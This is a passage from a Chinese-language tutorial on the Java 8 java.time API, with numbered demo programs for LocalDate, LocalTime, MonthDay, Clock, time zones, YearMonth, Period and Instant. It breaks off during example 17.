    <content type="html"><![CDATA[<blockquote><p>Java处理日期、日历和时间的方式一直为社区所诟病，将 java.util.Date设定为可变类型，以及SimpleDateFormat的非线程安全使其应用非常受限。</p></blockquote><blockquote><p>新API基于ISO标准日历系统，java.time包下的所有类都是不可变类型而且线程安全。</p></blockquote><table><thead><tr><th>类名</th><th>描述</th></tr></thead><tbody><tr><td>Instant</td><td>时间戳</td></tr><tr><td>Duration</td><td>持续时间，时间差</td></tr><tr><td>LocalDate</td><td>只包含日期，如2022-01-01</td></tr><tr><td>LocalTime</td><td>只包含时间，如12:23:59</td></tr><tr><td>LocalDateTime</td><td>包含日期和时间，如2022-01-01 12:23:59</td></tr><tr><td>Period</td><td>时间段</td></tr><tr><td>ZoneOffset</td><td>时间偏移量，如 +8:00</td></tr><tr><td>ZonedDateTime</td><td>带时区的时间</td></tr><tr><td>Clock</td><td>时钟，比如获取目前美国纽约的时间</td></tr><tr><td>DateTimeFormatter</td><td>时间格式化</td></tr></tbody></table><h3 id="示例1-Java-8中获取今天的日期">示例1:Java 8中获取今天的日期</h3><p>Java 8 中的 LocalDate 用于表示当天日期。和java.util.Date不同，它只有日期，不包含时间。当你仅需要表示日期时就用这个类。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.demo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.time.LocalDate;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo01</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">LocalDate</span> <span class="variable">today</span> <span class="operator">=</span> LocalDate.now();</span><br><span class="line">        System.out.println(<span class="string">&quot;今天的日期:&quot;</span>+today);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="示例2-Java-8中获取年、月、日信息">示例2:Java 8中获取年、月、日信息</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.demo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.time.LocalDate;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo02</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">LocalDate</span> <span class="variable">today</span> <span class="operator">=</span> LocalDate.now();</span><br><span class="line">        <span class="type">int</span> <span class="variable">year</span> <span class="operator">=</span> today.getYear();</span><br><span class="line">        <span class="type">int</span> <span class="variable">month</span> <span class="operator">=</span> today.getMonthValue();</span><br><span class="line">        <span class="type">int</span> <span class="variable">day</span> <span class="operator">=</span> today.getDayOfMonth();</span><br><span class="line"></span><br><span class="line">        System.out.println(<span class="string">&quot;year:&quot;</span>+year);</span><br><span class="line">        System.out.println(<span class="string">&quot;month:&quot;</span>+month);</span><br><span class="line">        System.out.println(<span class="string">&quot;day:&quot;</span>+day);</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="示例3-Java-8中处理特定日期">示例3:Java 8中处理特定日期</h3><blockquote><p>我们通过静态工厂方法now()非常容易地创建了当天日期，你还可以调用另一个有用的工厂方法LocalDate.of()创建任意日期， 该方法需要传入年、月、日做参数，返回对应的LocalDate实例。这个方法的好处是没再犯老API的设计错误，比如年度起始于1900，月份是从0开 始等等。</p></blockquote><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.demo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.time.LocalDate;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo03</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">LocalDate</span> <span class="variable">date</span> <span class="operator">=</span> LocalDate.of(<span class="number">2018</span>,<span class="number">2</span>,<span class="number">6</span>);</span><br><span class="line">        System.out.println(<span class="string">&quot;自定义日期:&quot;</span>+date);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="示例4-Java-8中判断两个日期是否相等">示例4:Java 8中判断两个日期是否相等</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.demo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.time.LocalDate;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo04</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">LocalDate</span> <span class="variable">date1</span> <span class="operator">=</span> LocalDate.now();</span><br><span class="line"></span><br><span class="line">        <span class="type">LocalDate</span> <span class="variable">date2</span> <span class="operator">=</span> LocalDate.of(<span class="number">2018</span>,<span class="number">2</span>,<span class="number">5</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span>(date1.equals(date2))&#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;时间相等&quot;</span>);</span><br><span class="line">        &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;时间不等&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="示例5-Java-8中检查像生日这种周期性事件">示例5:Java 8中检查像生日这种周期性事件</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.demo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.time.LocalDate;</span><br><span class="line"><span class="keyword">import</span> java.time.MonthDay;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo05</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">LocalDate</span> <span class="variable">date1</span> <span class="operator">=</span> LocalDate.now();</span><br><span class="line"></span><br><span class="line">        <span class="type">LocalDate</span> <span class="variable">date2</span> <span class="operator">=</span> LocalDate.of(<span class="number">2018</span>,<span class="number">2</span>,<span class="number">6</span>);</span><br><span class="line">        <span class="type">MonthDay</span> <span class="variable">birthday</span> <span class="operator">=</span> MonthDay.of(date2.getMonth(),date2.getDayOfMonth());</span><br><span class="line">        <span class="type">MonthDay</span> <span class="variable">currentMonthDay</span> <span class="operator">=</span> MonthDay.from(date1);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span>(currentMonthDay.equals(birthday))&#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;是你的生日&quot;</span>);</span><br><span class="line">        &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;你的生日还没有到&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><div class="note warning simple"><p>只要当天的日期和生日匹配，无论是哪一年都会打印出祝贺信息。可以把程序整合进系统时钟，看看生日时是否会受到提醒，或者写一个单元测试来检测代码是否运行正确。</p></div><h3 id="示例6-Java-8中获取当前时间">示例6:Java 8中获取当前时间</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.demo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.time.LocalTime;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo06</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">LocalTime</span> <span class="variable">time</span> <span class="operator">=</span> LocalTime.now();</span><br><span class="line">        System.out.println(<span class="string">&quot;获取当前的时间,不含有日期:&quot;</span>+time);</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到当前时间就只包含时间信息，没有日期</p><h3 id="示例7-Java-8中获取当前时间">示例7:Java 8中获取当前时间</h3><div class="note warning simple"><p>通过增加小时、分、秒来计算将来的时间很常见。Java 8除了不变类型和线程安全的好处之外，还提供了更好的plusHours()方法替换add()，并且是兼容的。注意，这些方法返回一个全新的LocalTime实例，由于其不可变性，返回后一定要用变量赋值。</p></div><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.demo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.time.LocalTime;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo07</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">LocalTime</span> <span class="variable">time</span> <span class="operator">=</span> LocalTime.now();</span><br><span class="line">        <span class="type">LocalTime</span> <span class="variable">newTime</span> <span class="operator">=</span> time.plusHours(<span class="number">3</span>);</span><br><span class="line">        System.out.println(<span class="string">&quot;三个小时后的时间为:&quot;</span>+newTime);</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="示例8-Java-8如何计算一周后的日期">示例8:Java 8如何计算一周后的日期</h3><p>和上个例子计算3小时以后的时间类似，这个例子会计算一周后的日期。LocalDate日期不包含时间信息，它的plus()方法用来增加天、周、月，ChronoUnit类声明了这些时间单位。由于LocalDate也是不变类型，返回后一定要用变量赋值。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.demo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.time.LocalDate;</span><br><span class="line"><span class="keyword">import</span> java.time.temporal.ChronoUnit;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo08</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">LocalDate</span> <span class="variable">today</span> <span class="operator">=</span> LocalDate.now();</span><br><span class="line">        System.out.println(<span class="string">&quot;今天的日期为:&quot;</span>+today);</span><br><span class="line">        <span class="type">LocalDate</span> <span class="variable">nextWeek</span> <span class="operator">=</span> today.plus(<span class="number">1</span>, ChronoUnit.WEEKS);</span><br><span class="line">        System.out.println(<span class="string">&quot;一周后的日期为:&quot;</span>+nextWeek);</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><div class="note warning simple"><p>可以看到新日期离当天日期是7天，也就是一周。你可以用同样的方法增加1个月、1年、1小时、1分钟甚至一个世纪，更多选项可以查看Java 8 API中的ChronoUnit类</p></div><h3 id="示例9-Java-8计算一年前或一年后的日期">示例9:Java 8计算一年前或一年后的日期</h3><p>利用minus()方法计算一年前的日期</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.demo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.time.LocalDate;</span><br><span class="line"><span class="keyword">import</span> java.time.temporal.ChronoUnit;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo09</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">LocalDate</span> <span class="variable">today</span> <span class="operator">=</span> LocalDate.now();</span><br><span class="line"></span><br><span class="line">        <span class="type">LocalDate</span> <span class="variable">previousYear</span> <span class="operator">=</span> today.minus(<span class="number">1</span>, ChronoUnit.YEARS);</span><br><span class="line">        System.out.println(<span class="string">&quot;一年前的日期 : &quot;</span> + previousYear);</span><br><span class="line"></span><br><span class="line">        <span class="type">LocalDate</span> <span class="variable">nextYear</span> <span class="operator">=</span> today.plus(<span class="number">1</span>, ChronoUnit.YEARS);</span><br><span class="line">        System.out.println(<span class="string">&quot;一年后的日期:&quot;</span>+nextYear);</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="示例10-Java-8的Clock时钟类">示例10:Java 8的Clock时钟类</h3><p>Java 8增加了一个Clock时钟类用于获取当时的时间戳，或当前时区下的日期时间信息。以前用到System.currentTimeInMillis()和TimeZone.getDefault()的地方都可用Clock替换。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.demo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.time.Clock;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo10</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="comment">// Returns the current time based on your system clock and set to UTC.</span></span><br><span class="line">        <span class="type">Clock</span> <span class="variable">clock</span> <span class="operator">=</span> Clock.systemUTC();</span><br><span class="line">        System.out.println(<span class="string">&quot;Clock : &quot;</span> + clock.millis());</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Returns time based on system clock zone</span></span><br><span class="line">        <span class="type">Clock</span> <span class="variable">defaultClock</span> <span class="operator">=</span> Clock.systemDefaultZone();</span><br><span class="line">        System.out.println(<span class="string">&quot;Clock : &quot;</span> + defaultClock.millis());</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="示例11-如何用Java判断日期是早于还是晚于另一个日期">示例11:如何用Java判断日期是早于还是晚于另一个日期</h3><p>另一个工作中常见的操作就是如何判断给定的一个日期是大于某天还是小于某天？在Java 8中，LocalDate类有两类方法isBefore()和isAfter()用于比较日期。调用isBefore()方法时，如果给定日期小于当前日期则返回true。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.demo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.time.LocalDate;</span><br><span class="line"><span class="keyword">import</span> java.time.temporal.ChronoUnit;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo11</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">LocalDate</span> <span class="variable">today</span> <span class="operator">=</span> LocalDate.now();</span><br><span class="line"></span><br><span class="line">        <span class="type">LocalDate</span> <span class="variable">tomorrow</span> <span class="operator">=</span> LocalDate.of(<span class="number">2018</span>,<span class="number">2</span>,<span class="number">6</span>);</span><br><span class="line">        <span class="keyword">if</span>(tomorrow.isAfter(today))&#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;之后的日期:&quot;</span>+tomorrow);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="type">LocalDate</span> <span class="variable">yesterday</span> <span class="operator">=</span> today.minus(<span class="number">1</span>, ChronoUnit.DAYS);</span><br><span class="line">        <span class="keyword">if</span>(yesterday.isBefore(today))&#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;之前的日期:&quot;</span>+yesterday);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="示例12-Java-8中处理时区">示例12:Java 8中处理时区</h3><p>Java 8不仅分离了日期和时间，也把时区分离出来了。现在有一系列单独的类如ZoneId来处理特定时区，ZoneDateTime类来表示某时区下的时间。这在Java 8以前都是 GregorianCalendar类来做的。下面这个例子展示了如何把本时区的时间转换成另一个时区的时间。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.demo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.time.LocalDateTime;</span><br><span class="line"><span class="keyword">import</span> java.time.ZoneId;</span><br><span class="line"><span class="keyword">import</span> java.time.ZonedDateTime;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo12</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="comment">// Date and time with timezone in Java 8</span></span><br><span class="line">        <span class="type">ZoneId</span> <span class="variable">america</span> <span class="operator">=</span> ZoneId.of(<span class="string">&quot;America/New_York&quot;</span>);</span><br><span class="line">        <span class="type">LocalDateTime</span> <span class="variable">localtDateAndTime</span> <span class="operator">=</span> LocalDateTime.now();</span><br><span class="line">        <span class="type">ZonedDateTime</span> <span class="variable">dateAndTimeInNewYork</span>  <span class="operator">=</span> ZonedDateTime.of(localtDateAndTime, america );</span><br><span class="line">        System.out.println(<span class="string">&quot;Current date and time in a particular timezone : &quot;</span> + dateAndTimeInNewYork);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="示例13-如何表示信用卡到期这类固定日期，答案就在YearMonth">示例13:如何表示信用卡到期这类固定日期，答案就在YearMonth</h3><p>与 MonthDay检查重复事件的例子相似，YearMonth是另一个组合类，用于表示信用卡到期日、FD到期日、期货期权到期日等。还可以用这个类得到 当月共有多少天，YearMonth实例的lengthOfMonth()方法可以返回当月的天数，在判断2月有28天还是29天时非常有用。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.demo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.time.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo13</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">YearMonth</span> <span class="variable">currentYearMonth</span> <span class="operator">=</span> YearMonth.now();</span><br><span class="line">        System.out.printf(<span class="string">&quot;Days in month year %s: %d%n&quot;</span>, currentYearMonth, currentYearMonth.lengthOfMonth());</span><br><span class="line">        <span class="type">YearMonth</span> <span class="variable">creditCardExpiry</span> <span class="operator">=</span> YearMonth.of(<span class="number">2019</span>, Month.FEBRUARY);</span><br><span class="line">        System.out.printf(<span class="string">&quot;Your credit card expires on %s %n&quot;</span>, creditCardExpiry);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="示例14-如何在Java-8中检查闰年">示例14:如何在Java 8中检查闰年</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.demo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.time.LocalDate;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo14</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">LocalDate</span> <span class="variable">today</span> <span class="operator">=</span> LocalDate.now();</span><br><span class="line">        <span class="keyword">if</span>(today.isLeapYear())&#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;This year is Leap year&quot;</span>);</span><br><span class="line">        &#125;<span class="keyword">else</span> &#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;2018 is not a Leap year&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="示例15-计算两个日期之间的天数和月数">示例15:计算两个日期之间的天数和月数</h3><p>有一个常见日期操作是计算两个日期之间的天数、周数或月数。在Java 8中可以用java.time.Period类来做计算。</p><p>下面这个例子中，我们计算了当天和将来某一天之间的月数。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.demo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.time.LocalDate;</span><br><span class="line"><span class="keyword">import</span> java.time.Period;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo15</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">LocalDate</span> <span class="variable">today</span> <span class="operator">=</span> LocalDate.now();</span><br><span class="line"></span><br><span class="line">        <span class="type">LocalDate</span> <span class="variable">java8Release</span> <span class="operator">=</span> LocalDate.of(<span class="number">2018</span>, <span class="number">12</span>, <span class="number">14</span>);</span><br><span class="line"></span><br><span class="line">        <span class="type">Period</span> <span class="variable">periodToNextJavaRelease</span> <span class="operator">=</span> Period.between(today, java8Release);</span><br><span class="line">        System.out.println(<span class="string">&quot;Months left between today and Java 8 release : &quot;</span></span><br><span class="line">                + periodToNextJavaRelease.getMonths() );</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="示例16-在Java-8中获取当前的时间戳">示例16:在Java 8中获取当前的时间戳</h3><p>Instant类有一个静态工厂方法now()会返回当前的时间戳，如下所示：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.demo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.time.Instant;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo16</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">Instant</span> <span class="variable">timestamp</span> <span class="operator">=</span> Instant.now();</span><br><span class="line">        System.out.println(<span class="string">&quot;What is value of this instant &quot;</span> + timestamp.toEpochMilli());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><div class="note warning simple"><p>时间戳信息里同时包含了日期和时间，这和java.util.Date很像。实际上Instant类确实等同于 Java 8之前的Date类，你可以使用Date类和Instant类各自的转换方法互相转换，例如：Date.from(Instant) 将Instant转换成java.util.Date，Date.toInstant()则是将Date类转换成Instant类。</p></div><h3 id="示例17-Java-8中如何使用预定义的格式化工具去解析或格式化日期">示例17:Java 8中如何使用预定义的格式化工具去解析或格式化日期</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.demo;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.time.LocalDate;</span><br><span class="line"><span class="keyword">import</span> java.time.format.DateTimeFormatter;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo17</span> &#123;</span><br><span class="line"> 